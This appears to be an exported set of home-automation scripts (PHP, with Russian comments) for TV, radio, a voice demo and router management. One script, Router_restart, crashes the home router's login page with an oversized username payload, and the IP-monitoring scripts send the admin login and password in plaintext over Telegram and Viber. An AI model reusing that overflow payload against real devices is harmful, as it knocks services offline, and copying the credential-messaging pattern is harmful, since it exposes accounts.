rs('DemoSay','You can talk to me by the Internet so I can open the entry gates remotely.');
cm('EntryGates.open');
sleep(20);
cm('EntryGates.Close');
setTimeOut('DemoTimer',"rs('Demo05')",1);
|
Demo05
|
Кроме управления механизмами, я могу помочь и с развлечением. Например, сейчас включу какую-нибудь музыку из вашей коллекции. (включает музыку) Или, например, радио (включает радио). Ну или даже поставить мультфильм для ребёнка. (включает фильм на мониторе)
rs('DemoSay','Beside that I can help with entertainment.');
rs('DemoSay','For example, I can turn on some music from the list of your favorites.');
runScript('playFavoriteMusic');
sleep(15);
runScript('playPause');
sleep(2);
rs('DemoSay','Or I can play radio');
runScript('playSomethingCool');
sleep(16);
runScript('playPause');
sleep(2);
rs('DemoSay','And I can start some movie for the kids.');
runScript('runCommandHP',array('cmd'=>'explorer d:\001.avi'));
sleep(21);
runScript('runCommandHP',array('cmd'=>'cmd.exe /c taskkill /F /IM vlc.exe'));
sleep(2);
setTimeOut('DemoTimer',"rs('Demo07')",1);
|
Demo06
|
Ну как, понравилось? А ещё вы можете у меня что-нибудь спросить. Я могу найти ответы на вопросы “что такое” или “кто такой”. Попробуйте, спросите!
rs('DemoSay','How do you like it?');
rs('DemoSay','Also you can ask me about something');
rs('DemoSay','I can find answers to the questions "what is" or "who is"');
sleep(8);
context_activate(42);
|
Demo07
|
Спасибо за внимание и всегда к вашим услугам
rs('DemoSay','Thank you for attention. Always at your service!');
setTimeOut('DemoTimer',"rs('DemoEnd');",1);
|
DemoEnd
|
|
DemoSay
|
if (gg('DemoCancel')) {
return;
}
$ph='';
if (!is_array($params)) {
$ph=$params;
}
if (!$ph) {
$ph="Hello, world!";
}
/*
$path=ROOT.'cached/voice/sapi_'.md5($ph).'.mp3';
if (file_exists($path) && 0) {
echo str_replace('/','\\',DOC_ROOT.'/rc/madplay.exe '.$path);
exec(str_replace('/','\\',DOC_ROOT.'/rc/madplay.exe '.$path));
} else {
exec(('cscript '.DOC_ROOT.'/rc/sapi_cached.js '.utf2win($ph)));
}
*/
$google_file=GoogleTTS($ph, 'en');
//echo $google_file;
if ($google_file) {
@touch($google_file);
//echo(str_replace('/','\\',DOC_ROOT.'/rc/madplay.exe '.$google_file));
safe_exec(str_replace('/','\\',DOC_ROOT.'/rc/madplay.exe '.$google_file));
/*
$tmp=explode(' ',$ph);
$total=count($tmp);
$word_delay=2;
$total_delay=$total*$word_delay;
sleep($word_delay);
*/
}
|
DemoStart
|
setGlobal('DemoMode',1);
set_time_limit(180);
setTimeOut('DemoStart','runScript("Demo01");',1);
|
CPU_Info
|
Состояние сенсоров процессора
//CPU temp
/*exec( "sensors | grep 'Core' | cut -b15-23", $asensors );
$val = "";
foreach ($asensors as $itm){
if ($val != ""){ $val .= " / "; }
$val .= $itm;
}
setGlobal( "ThisComputer.CPU_temp2", $val );
*/
/*
$temp = exec('sensors | grep Core | awk \'{print $3}\' | cut -c 2-5');
setGlobal('ThisComputer.CPU_temp',$temp);
//$cpu_temp=shell_exec('cat /sys/class/thermal/thermal_zone0/temp') / 1000;
//$cpu_temp=round($cpu_temp,1);
//setGlobal("ThisComputer.CPU_temp",$cpu_temp);
//CPU usage
/*$cpu_usage=exec("top -bn 1 | awk '{print $9}' | tail -n +8 | awk '{s+=$1} END {print s}'");
setGlobal("ThisComputer.Cpu_Load",$cpu_usage);
*/
/*exec('ps -aux', $processes);
foreach($processes as $process)
{
$cols = split(' ', ereg_replace(' +', ' ', $process));
if (strpos($cols[2], '.') > -1)
{
$cpuUsage += floatval($cols[2]);
}
}
setGlobal('ThisComputer.CPU_Load',$cpuUsage);
*/
/*
//CPU usage
$cpu_usage=shell_exec("uptime");
$cpu_usage = explode(" load average: ", $cpu_usage);
$cpu_usage = explode(",", $cpu_usage[1]);
$cpu_usage = $cpu_usage[0].", ".$cpu_usage[1];
setGlobal("ThisComputer.CPU_Load",$cpu_usage);
*/
|
PowerSupply
|
Чтение состояния батареи Linux
/*$batpath = '/sys/class/power_supply/BAT1/';
// Контроль параметров батареи
$capacity = mb_substr(file_get_contents($batpath.'capacity'), 0, -1); // процент батареи
$statusBAT = mb_substr(file_get_contents($batpath.'status'), 0, -1); // текущий статус батареи [Full/Charge/Discharge]
setGlobal("ThisComputer.BatPresent", $capacity);
setGlobal("ThisComputer.BatState", $statusBAT);
*/
/*
//System uptime
$sys_uptime=shell_exec("uptime");
$sys_uptime = explode(" up ", $sys_uptime);
$sys_uptime = explode(",", $sys_uptime[1]);
$sys_uptime = $sys_uptime[0].", ".$sys_uptime[1];
setGlobal("ThisComputer.System_uptime",$sys_uptime);
//Status battery
$sys_bat=shell_exec("acpi");
$sys_bat = explode("0: ", $sys_bat);
$sys_bat = explode(",", $sys_bat[1]);
setGlobal("ThisComputer.System_battery",$sys_bat[0]);
setGlobal("ThisComputer.Battery_Charge",$sys_bat[1]);
//AC_adapter status
$sys_ac=shell_exec("acpi -a");
$sys_ac = explode("0: ", $sys_ac);
$sys_ac = explode(",", $sys_ac[1]);
$sys_ac = $sys_ac[0];
setGlobal("ThisComputer.AC_adapter",$sys_ac);
*/
|
rotate_video
|
Удаление старых файлов видео из папки /home/majordomo/html/Video/old
/*//safe_exec('sudo /opt/rotate_video');
safe_exec('rm -rf /home/majordomo/html/Video/old/*');
safe_exec('mv /home/majordomo/html/Video/*.swf /home/majordomo/html/Video/old');
safe_exec('mv /home/majordomo/html/Video/*.jpg /home/majordomo/html/Video/old');
*/
|
Screen_off_hard
|
Отключение экрана, просыпается только скриптом Screen_on_hard или открытием крышки.
//Для Ubuntu
//safe_exec("sudo vbetool dpms off");
|
Screen_on_hard
|
Включение экрана, только после отключения скриптом Screen_off_hard
//Для Ubuntu
//safe_exec("sudo vbetool dpms on");
|
SysInfo
|
Чтение параметров памяти
/*//Memory usage/total
$mem_total=exec("cat /proc/meminfo | grep MemTotal | awk '{print $2}'");
$mem_usage=$mem_total - exec("cat /proc/meminfo | grep MemFree | awk '{print $2}'");
$sys_memory=round($mem_usage * 100 / $mem_total, 1);
setGlobal("ThisComputer.System_memory",$sys_memory);
$mem=shell_exec("free -m|grep Mem|awk '{print $2,$3,$4}'");
$mem=explode(" ",$mem);
$mem="Всего: ".$mem[0]." Занято: ".$mem[1]." Доступно: ".$mem[2];
setGlobal("ThisComputer.memory",$mem);
//Disk
$bytes = disk_free_space(".");
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
$base = 1024;
$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
$temp = round($bytes / pow($base,$class)) . ' ' . $si_prefix[$class];
sg('System_freespace',$temp);
$disk=shell_exec("df -h|grep sda6|awk '{print $2,$3,$5}'"); // p.s. sda6 нужно изменить на свой диск
$disk=explode(" ",$disk);
$disk=$disk[1]."/".$disk[0]." ( ".$disk[2].")";
setGlobal("ThisComputer.driveStatus",$disk);
*/
|
Disney
|
Канал Дисней Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 302;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',302);
|
Exit_TV
|
Ютуб в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 316; 00f060f9
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',77);
|
Mute_TV
|
ВКЛ/ВЫКЛ звука телевизора
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 73;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',73);
|
Nikelod
|
Канал Никелодион Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 913;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',913);
|
Nochnik
|
Канал Дисней Ростелеком в Зале
sg('Livingroom.IR_send',65);
|
NTV
|
Канал НТВ Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 992;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',992);
|
ORT
|
Первый канал HD Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 900;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',900);
|
Planeta
|
Канал Планета Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 943;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',943);
|
Rodnoy
|
Канал Родной Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 125;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',125);
|
Rostel_Bed
|
Вкл/Выкл Ростелеком в Спальне
/*$NId = 25;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 90;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Bedroom.IR_send',90);
|
Rostel_Hall
|
Вкл/Выкл Ростелеком в Зале
/*$NId = 0;
$SId = 2;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 90;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',90);
|
RTR
|
Канал Россия HD Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 922;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',922);
|
Star
|
Канал Дисней Ростелеком в Зале
sg('Livingroom.IR_send',64);
|
Star_copy
|
Канал Дисней Ростелеком в Зале
sg('Livingroom.IR_send',64);
|
Sun
|
Канал Дисней Ростелеком в Зале
sg('Livingroom.IR_send',60);
|
Sun_clear
|
Канал Дисней Ростелеком в Зале
sg('Livingroom.IR_send',63);
|
Tlum_HD
|
Тлум HD Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 956;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',956);
|
TNT
|
Канал ТНТ Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 957;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',957);
|
TNT_music
|
Канал ТНТ музыка Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 501;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',501);
|
TVon_Bed
|
Вкл/Выкл телевизор в спальне
/*$NId = 25;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 80;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
if (gg('Bedroom.TV_on ') == 0) {
ClearTimeOut('TV_Bedroom_auto_off');
setTimeout('TV_Bedroom_auto_off', 'rs("TVon_Bed");', 30*60);
}
else{
ClearTimeOut('TV_Bedroom_auto_off');
}
sg('Bedroom.IR_send',80);
//setTimeOut('Rostel_Bed',"RunScript('Rostel_Bed');",8);
|
TVon_Hall
|
Вкл/Выкл телевизор в Зале
/*$GId = 1;
$NId = 0;
$SId = 2;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 70;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
if (gg('Livingroom.TV_on ') == 0) {
ClearTimeOut('TV_Livingroom_auto_off');
setTimeout('TV_Livingroom_auto_off', 'rs("TVon_Hall");', 30*60);
}
else{
ClearTimeOut('TV_Livingroom_auto_off');
}
sg('Livingroom.IR_send',70);
//setTimeOut('Rostel_Hall',"RunScript('Rostel_Hall');",8);
|
YouTube
|
Ютуб в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 316; 00f060f9
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',76);
|
СТС
|
Канал СТС Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 997;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',997);
|
ТВ3
|
Канал ТВ3 Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 15;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',15);
|
Че
|
Канал Че Ростелеком в Зале
/*$NId = 0;
$SId = 3;
$mType = 1;
$ack = 0;
$SubType = 32;
$val = 27;
include_once(DIR_MODULES . 'mysensor/mysensor.class.php');
$notify = new mysensor();
$notify->cmd( "$NId;$SId;$mType;$ack;$SubType;" . $val );
*/
sg('Livingroom.IR_send',27);
|
Baby
|
Детское радио
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю Детские песни');
cm('RadioSetting.Control',array('sta'=>'Детские песни'));
cm('RadioSetting.Control',array('cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'Детское');
|
DOR_FM
|
Радио Дорожное радио
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю Дорожное радио');
cm('RadioSetting.Control',array('sta'=>'Dorognoe'));
cm('RadioSetting.Control',array('cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'dor');
|
ENERGY
|
Радио ENERGY
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю радио ENERGY');
cm('RadioSetting.Control',array('sta'=>'ENERGY','cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'NRJ');
|
Like_FM
|
Радио Like FM
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю радио Like_FM');
cm('RadioSetting.Control',array('sta'=>'Like_FM','cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'like-fm');
|
NEW
|
Новое радио
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю Новое радио');
cm('RadioSetting.Control',array('sta'=>'NEW','cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'Новое радио');
|
Relax_FM
|
Радио Relax FM
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю радио Relax_FM');
cm('RadioSetting.Control',array('sta'=>'Relax_FM','cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'Relax');
|
Start
|
ВКЛ радио
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю радио');
cm('RadioSetting.Control',array('cmd'=>'play'));
setGlobal("RadioSetting.RadioLedOn",1);
|
Stop
|
ВЫКЛ радио
cm('RadioSetting.Control',array('cmd'=>'stop'));
setGlobal("Radio.RadioLedOn",0);
say('Радио выключено');
|
Vol+
|
Добавить громкость
$vol = gg("ThisComputer.volumeRadio");
if ($vol < 150){
cm('RadioSetting.Control',array('vol'=> $vol+5 ));
sg('ThisComputer.volumeRadio',$vol+5);
} else {
cm('RadioSetting.Control',array('vol'=> 150 ));
sg('ThisComputer.volumeRadio',100);
}
|
Vol-
|
Уменьшить громкость
$vol = gg("ThisComputer.volumeRadio");
if ($vol > 10){
cm('RadioSetting.Control',array('vol'=> $vol-5 ));
sg('ThisComputer.volumeRadio',$vol-5);
} else {
cm('RadioSetting.Control',array('vol'=> 0 ));
}
|
Авторадио
|
Радио Авторадио
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю Авторадио');
cm('RadioSetting.Control',array('sta'=>'Авторадио','cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'Avtoradio');
|
Европа Плюс
|
Радио Европа Плюс
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю радио Европа Плюс');
cm('RadioSetting.Control',array('sta'=>'Европа Плюс','cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'europa-plus');
|
Максимум
|
Радио Максимум
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю радио Максимум');
cm('RadioSetting.Control',array('sta'=>'Максимум','cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'Maximum');
|
ХИТ_FM
|
Радио РУССКИЙ ХИТ
cm('RadioSetting.Control',array('cmd'=>'stop'));
say('Включаю радио ХИТ_FM');
cm('RadioSetting.Control',array('sta'=>'ХИТ_FM','cmd'=>'play'));
sg("RadioSetting.RadioLedOn",1);
sg("RadioSetting.StationName",'hit-fm');
|
Check_IP_HLDNS
|
Проверка соответствия внешнего IP на белый или серый
$ip_router = gg('Router.IPext');
$key = gg('Router.Key'); // ключ HLDNS
$ip_hldns = getURL('http://hldns.ru/update/'.$key);
sg('ThisComputer.DDNS_IP', $ip_hldns);
//print_r($ip_hldns);
switch ($ip_hldns) {
case 101:
say('Слишком рано, вы проводили обновление менее 5 минут назад.',1);
setTimeOut('Check_IP_HLDNS', "rs('Check_IP_HLDNS');", (int)('360'));
break;
case 102:
say('Аккаунт не найден по ключу. Возможно, есть смысл обратиться к нам за помощью, HLDNS.',1);
break;
case 103:
say('Ваш аккаунт снят с активации. Тут точно есть смысл обратиться к нам за помощью, HLDNS.',1);
break;
case 104:
say('Не удалось распознать Ваш ip-адрес. Такое иногда случается.',1);
break;
case 105:
say('Не получен ключ обновления, скорее всего, ошибка в ссылке к серверу HLDNS.',1);
break;
default:
if ($ip_hldns === $ip_router) {
say('Ай пи роутера и HLDNS одинаковые',1);
if (timeOutExists('Router_IP')) {
ClearTimeOut('Router_IP');
}
setTimeOut('Router_IP', "rs('Router_IP');", (int)('300'));
}
else {
say('Ай пи роутера и HLDNS разные',1);
rs('Router_reboot');
if (timeOutExists('Router_IP')) {
ClearTimeOut('Router_IP');
}
setTimeOut('Router_IP', "rs('Router_IP');", (int)('300'));
}
}
|
inetInfo
|
Информация о провайдере (не используется)
$mode = $params['mode'];
$sayLVL = $params['sayLVL']; if ($sayLVL == "") {$sayLVL=-1;}
$ProviderName = gg('ThisComputer.ProviderName');
$ProviderURL = gg('ThisComputer.ProviderURL');
$ProviderLoc = gg('ThisComputer.ProviderLoc');
$ProviderIP = gg('ThisComputer.ProviderIP');
$user = gg('Admin.Login'); // логин
$pass = gg('Admin.Pass'); // пароль
$key = gg('Router.Key'); // ключ HLDNS
$url="http://api.2ip.ua/provider.json?ip=";
//Работаем со строкой JSON
$data = json_decode(file_get_contents($url), true);
$ip=$data["ip"]; // что искали
$name_ripe=$data["name_ripe"];
$name_rus=$data["name_rus"];
$site=$data["site"];
$url="http://api.2ip.ua/geo.json?ip=".$ip;
//Работаем со строкой JSON
$data = json_decode(file_get_contents($url), true);
$country_rus=$data["country_rus"]; // что искали
$region_rus=$data["region_rus"];
$city_rus=$data["city_rus"];
$loc = $country_rus.", ".$region_rus.", город ".$city_rus;
if ($name_rus != $ProviderName) {sg('ThisComputer.ProviderName',$name_rus);}
if ($site != $ProviderURL) {sg('ThisComputer.ProviderURL',$site);}
if ($loc != $ProviderLoc) {sg('ThisComputer.ProviderLoc',$loc);}
if ($ip != $ProviderIP) {sg('ThisComputer.ProviderIP',$ip);
runScript("sendTelegram",array("user"=>'Admin',"msg"=>$user.':'.$pass.'@'.$ip.':888/menu.html '.$ip.':888/menu.html'));
runScript('SendToNotifyEvents', array('text'=>$user.':'.$pass.'@'.$ip.':888/menu.html '.$ip.':888/menu.html')); // отправка сообщения в Viber
//getURL('http://hldns.ru/update/'.$key);
}
if ($mode != "getinfo") {
say('Текущий IP-адрес '.$ip,$sayLVL);
runScript("sendTelegram",array("user"=>'Admin',"msg"=>$user.':'.$pass.'@'.$ip.':888/menu.html '.$ip.':888/menu.html'));
runScript('SendToNotifyEvents', array('text'=>$user.':'.$pass.'@'.$ip.':888/menu.html '.$ip.':888/menu.html')); // отправка сообщения в Viber
}
|
Router_DHCP
|
Подключение к роутеру для получения DHCP клиентов
$url = "http://192.168.1.1/login.cgi";
$user = gg('Router.login'); // логин
$pass = gg('Router.password'); // пароль
$post='username='.$user.'&password='.$pass.'&submit.htm%3Flogin.htm=Send';
// STEP 1 -- LOGIN
$ch = curl_init(); //инициализация сеанса
curl_setopt($ch, CURLOPT_URL, $url); //урл сайта к которому обращаемся
curl_setopt($ch, CURLOPT_HEADER, 1); //выводим заголовки
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); //теперь curl вернет нам ответ, а не выведет
curl_setopt($ch, CURLOPT_POST, true); //передача данных методом POST
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); //тут переменные которые будут переданы методом POST
$result = curl_exec($ch); // Выполняем запрос и получаем HTML в качестве результата
if ($result === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
// Получаем ID сессии
preg_match('/SessionID=/', $result, $matches);
if (!empty($matches[0]))
{
$cookie = strstr($result, 'SessionID=');
$cookie = strstr($cookie, ';', true);
$cookie = ltrim($cookie, 'SessionID=');
}
//print_r($cookie);
//print_r($result);
// Закрываем соединение
curl_close($ch);
// STEP 2 -- GET DHCP
$url = "http://192.168.1.1/dhcptbl.htm";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: SessionID='.$cookie));
$output = curl_exec($ch);
if ($output === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
print_r($output);
curl_close($ch);
|
Router_IP
|
Подключение к роутеру для получения IP
if (timeOutExists('Router_IP')) {
ClearTimeOut('Router_IP');
}
$url = "http://192.168.1.1/login.cgi";
$user = gg('Router.login'); // логин
$pass = gg('Router.password'); // пароль
$user2 = gg('Admin.Login'); // логин Алисы
$pass2 = gg('Admin.Pass'); // пароль Алисы
$key = gg('Router.Key'); // ключ HLDNS
$post='username='.$user.'&password='.$pass.'&submit.htm%3Flogin.htm=Send';
$ip_router = gg('Router.IPext'); // внешний IP роутера
// STEP 1 -- LOGIN
$ch = curl_init(); //инициализация сеанса
curl_setopt($ch, CURLOPT_URL, $url); //урл сайта к которому обращаемся
curl_setopt($ch, CURLOPT_HEADER, 1); //выводим заголовки
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); //теперь curl вернет нам ответ, а не выведет
curl_setopt($ch, CURLOPT_POST, true); //передача данных методом POST
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); //тут переменные которые будут переданы методом POST
$result = curl_exec($ch); // Выполняем запрос и получаем HTML в качестве результата
if ($result === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
// Получаем ID сессии
preg_match('/SessionID=/', $result, $matches);
if (!empty($matches[0]))
{
$cookie = strstr($result, 'SessionID=');
$cookie = strstr($cookie, ';', true);
$cookie = ltrim($cookie, 'SessionID=');
}
//print_r($cookie);
//print_r($result);
// Закрываем соединение
curl_close($ch);
// STEP 2 -- GET DATA
$url = "http://192.168.1.1/status.htm";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: SessionID='.$cookie));
$output = curl_exec($ch);
if ($output === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
//print_r($output);
curl_close($ch);
$ip3 = strstr($output, 'PPPoE');
//echo $ip3;
preg_match_all('/(\d+).(\d*).(\d*).(\d*)/', $ip3, $matches);
if (!empty($matches[0]))
{
$ip = $matches[0][0];
$ip2 = $matches[1][1];
//print_r($ip);
//print_r($ip2);
if ($ip == $ip_router) {
//say('Ай пи одинаковые');
//rs("sendTelegram",array("user"=>'Admin',"msg"=>'IP одинаковые'));
setTimeOut('Router_IP', "rs('Router_IP');", (int)('300'));
}
else if ($ip2 == 100){
say('Ай пи серый, перезагружаю роутер',1);
rs('Router_reboot');
setTimeOut('Router_IP', "rs('Router_IP');", (int)('300'));
}
else{
sg('Router.IPext', $ip);
rs("sendTelegram",array("user"=>'Admin',"msg"=>$user2.':'.$pass2.'@'.$ip.':888/menu.html '.$ip.':888/menu.html'));
rs('SendToNotifyEvents', array('text' =>$user2.':'.$pass2.'@'.$ip.':888/menu.html '.$ip.':888/menu.html')); // отправка сообщения в Viber
say('Ай пи поменялся',1);
say('Сверю ай пи с сервером HLDNS',1);
rs('Check_IP_HLDNS');
//getURL('http://hldns.ru/update/'.$key);
setTimeOut('Router_IP', "rs('Router_IP');", (int)('300'));
}
}
else{
say('Данные с роутера считать не удалось',1);
say('Повторю запрос через 2 минуты',1);
setTimeOut('Router_IP', "rs('Router_IP');", (int)('120'));
}
|
Router_reboot
|
Подключение к роутеру для перезагрузки
$url = "http://192.168.1.1/login.cgi";
$user = gg('Router.login'); // логин
$pass = gg('Router.password'); // пароль
$post='username='.$user.'&password='.$pass.'&submit.htm%3Flogin.htm=Send';
// STEP 1 -- LOGIN
$ch = curl_init(); //инициализация сеанса
curl_setopt($ch, CURLOPT_URL, $url); //урл сайта к которому обращаемся
curl_setopt($ch, CURLOPT_HEADER, 1); //выводим заголовки
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); //теперь curl вернет нам ответ, а не выведет
curl_setopt($ch, CURLOPT_POST, true); //передача данных методом POST
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); //тут переменные которые будут переданы методом POST
$result = curl_exec($ch); // Выполняем запрос и получаем HTML в качестве результата
if ($result === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
// Получаем ID сессии
preg_match('/SessionID=/', $result, $matches);
if (!empty($matches[0]))
{
$cookie = strstr($result, 'SessionID=');
$cookie = strstr($cookie, ';', true);
$cookie = ltrim($cookie, 'SessionID=');
}
//print_r($cookie);
//print_r($result);
// Закрываем соединение
curl_close($ch);
// STEP 2 -- GET Reboot
//$url = "http://192.168.1.1/submit.htm?reboot.htm value=Send";
//&submit.htm%3Freboot.htm=Send&submit.htm%3Freboot.htm=Send
$url = "http://192.168.1.1/form2Reboot.cgi";
$post='save=%D0%9F%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%B8%D1%82%D1%8C&submit.htm%3Freboot.htm=Send&submit.htm%3Freboot.htm=Send';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: SessionID='.$cookie));
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
//print_r($output);
curl_close($ch);
|
Router_restart
|
Перезагрузка роутера посредством атаки
//say('Внимание! Роутер перезагружается!');
$t = 'login.cgi';
$ip = 'http://192.168.1.1/';
$uname = gg('Router.login'); // логин
$pass = gg('Router.password'); // пароль
$page=$ip . $t;
$payload=str_repeat('AKASTEP',500);
$post='username=' . $uname. $payload. '&password=' .$pass . '&submit.htm%3Flogin.htm=Send';
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$page);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_HEADER, true);
curl_setopt($ch,CURLOPT_TIMEOUT, 12);
curl_setopt($ch,CURLOPT_POSTFIELDS, $post);
curl_exec($ch);
curl_close($ch);
exit;
|
sendTelegram
|
Сценарий для упрощения работы с модулем Telegram
// Сценарий для упрощения работы с модулем Telegram
// Примеры использования:
